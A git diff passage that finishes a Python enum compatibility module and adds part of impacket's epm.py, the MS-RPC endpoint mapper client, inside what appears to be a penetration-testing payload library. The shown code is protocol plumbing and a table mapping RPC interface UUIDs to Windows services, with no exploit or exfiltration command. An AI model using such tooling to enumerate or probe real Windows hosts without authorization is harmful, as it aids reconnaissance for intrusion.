O__new__ = getattr(object, '__new__') + if Enum is None: + E__new__ = N__new__ + else: + E__new__ = Enum.__dict__['__new__'] + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + try: + target = possible.__dict__[method] + except (AttributeError, KeyError): + target = getattr(possible, method, None) + if target not in [ + None, + N__new__, + O__new__, + E__new__, + ]: + if method == '__member_new__': + classdict['__new__'] = target + return None, False, True + if isinstance(target, staticmethod): + target = target.__get__(member_type) + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, False, use_args + else: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + + # should __new__ be saved as __member_new__ later? + save_new = __new__ is not None + + if __new__ is None: + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + target = getattr(possible, method, None) + if target not in ( + None, + None.__new__, + object.__new__, + Enum.__new__, + ): + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, save_new, use_args + + +######################################################## +# In order to support Python 2 and 3 with a single +# codebase we have to create the Enum methods separately +# and then use the `type(name, bases, dict)` method to +# create the class. +######################################################## +temp_enum_dict = {} +temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" + +def __new__(cls, value): + # all enum instances are actually created during class construction + # without calling this method; this method is called by the metaclass' + # __call__ (i.e. Color(3) ), and by pickle + if type(value) is cls: + # For lookups like Color(Color.red) + value = value.value + #return value + # by-value search for a matching enum member + # see if it's in the reverse mapping (for hashable values) + try: + if value in cls._value2member_map_: + return cls._value2member_map_[value] + except TypeError: + # not there, now do long search -- O(n) behavior + for member in cls._member_map_.values(): + if member.value == value: + return member + raise ValueError("%s is not a valid %s" % (value, cls.__name__)) +temp_enum_dict['__new__'] = __new__ +del __new__ + +def __repr__(self): + return "<%s.%s: %r>" % ( + self.__class__.__name__, self._name_, self._value_) +temp_enum_dict['__repr__'] = __repr__ +del __repr__ + +def __str__(self): + return "%s.%s" % (self.__class__.__name__, self._name_) +temp_enum_dict['__str__'] = __str__ +del __str__ + +def __dir__(self): + added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] + return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) +temp_enum_dict['__dir__'] = __dir__ +del __dir__ + +def __format__(self, format_spec): + # mixed-in Enums should use the mixed-in type's __format__, otherwise + # we can get strange results with the Enum name showing up instead of + # the value + + # pure Enum branch + if self._member_type_ is object: + cls = str + val = str(self) + # mix-in branch + else: + cls = self._member_type_ + val = self.value + return cls.__format__(val, format_spec) +temp_enum_dict['__format__'] = __format__ +del __format__ + + +#################################### +# Python's less than 2.6 use __cmp__ + +if pyver < 2.6: + + def __cmp__(self, other): + if type(other) is self.__class__: + if self is other: + return 0 + return -1 + return NotImplemented + raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__cmp__'] = __cmp__ + del __cmp__ + +else: + + def __le__(self, other): + raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__le__'] = __le__ + del __le__ + + def __lt__(self, other): + raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__lt__'] = __lt__ + del __lt__ + + def __ge__(self, other): + raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__ge__'] = __ge__ + del __ge__ + + def __gt__(self, other): + raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__gt__'] = __gt__ + del __gt__ + + +def __eq__(self, other): + if type(other) is self.__class__: + return self is other + return NotImplemented +temp_enum_dict['__eq__'] = __eq__ +del __eq__ + +def __ne__(self, other): + if type(other) is self.__class__: + return self is not other + return NotImplemented +temp_enum_dict['__ne__'] = __ne__ +del __ne__ + +def __getnewargs__(self): + return (self._value_, ) +temp_enum_dict['__getnewargs__'] = __getnewargs__ +del __getnewargs__ + +def __hash__(self): + return hash(self._name_) +temp_enum_dict['__hash__'] = __hash__ +del __hash__ + +# _RouteClassAttributeToGetattr is used to provide access to the `name` +# and `value` properties of enum members while keeping some measure of +# protection from modification, while still allowing for an enumeration +# to have members named `name` and `value`. This works because enumeration +# members are not set directly on the enum class -- __getattr__ is +# used to look them up. + +@_RouteClassAttributeToGetattr +def name(self): + return self._name_ +temp_enum_dict['name'] = name +del name + +@_RouteClassAttributeToGetattr +def value(self): + return self._value_ +temp_enum_dict['value'] = value +del value + +Enum = EnumMeta('Enum', (object, ), temp_enum_dict) +del temp_enum_dict + +# Enum has now been created +########################### + +class IntEnum(int, Enum): + """Enum where members are also (and must be) ints""" + + +def unique(enumeration): + """Class decorator that ensures only unique members exist in an enumeration.""" + duplicates = [] + for name, member in enumeration.__members__.items(): + if name != member.name: + duplicates.append((name, member.name)) + if duplicates: + duplicate_names = ', '.join( + ["%s -> %s" % (alias, name) for (alias, name) in duplicates] + ) + raise ValueError('duplicate names found in %r: %s' % + (enumeration, duplicate_names) + ) + return enumeration diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/epm.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/epm.py new file mode 100644 index 0000000..7eafcf2 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/epm.py @@ -0,0 +1,1339 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-RPCE]-C706 Interface implementation for the remote portmapper +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +import socket +from struct import unpack + +from impacket.uuid import uuidtup_to_bin, bin_to_string +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT +from impacket.structure import Structure +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) + +class DCERPCSessionError(DCERPCException): + error_messages = {} + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + self.error_code = packet['status'] + + def __str__( self ): + key = self.error_code + if self.error_messages.has_key(key): + error_msg_short = self.error_messages[key] + return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short) + else: + return 'EPM SessionError: unknown error code: %s' % (str(self.error_code)) + +################################################################################ +# CONSTANTS +################################################################################ + +KNOWN_UUIDS = { +"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll", +"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll", +"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll", +"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe", +"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll", +"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe", +"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL", +"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe", +"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe", +"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll", +"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe", +"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll", +"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll", +"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe", +"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll", +"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll", +"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe", +"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll", +"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe", +"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll", +"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe", +"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe", +"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll", +"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll", +"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll", +"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe", +"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll", +"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll", +"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll", +"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll", +"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe", +"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll", +"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll", +"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll", +"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll", +"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe", +"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll", +"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll", +"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll", +"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll", +"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe", +"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll", +"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll", +"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll", +"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll", +"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll", +"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll", +"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll", +"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll", +"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll", +"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll", +"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll", +"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll", +"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe", +"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll", +"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE", +"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll", +"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll", +"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe", +"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll", +"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll", +"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll", +"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll", +"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll", +"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll", +"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe", +"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll", +"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe", +"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe", +"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll", +"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll", +"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll", +"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe", +"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe", +"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe", +"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe", +"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll", +"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll", +"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll", +"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll", +"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe", +"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll", +"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll", +"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll", +"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll", +"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll", +"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll", +"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe", +"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll", +"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL", +"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll", +"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll", +"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll", +"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll", +"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll", +"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll", +"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe", +"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll", +"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll", +"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll", +"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe", +"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll", +"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server", +"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll", +"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe", +"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll", +"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll", +"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll", +"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe", +"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe", +"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll", +"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe", +"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll", +"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe", +"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe", +"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe", +"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll", +"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll", +"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll", +"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll", +"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL", +"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll", +"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll", +"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll", +"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll", +"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server", +"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll", +"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll", +"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe", +"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll", +"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll", +"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll", +"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll", +"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll", +"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe", +"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll", +"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll", +"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll", +"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll", +"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": 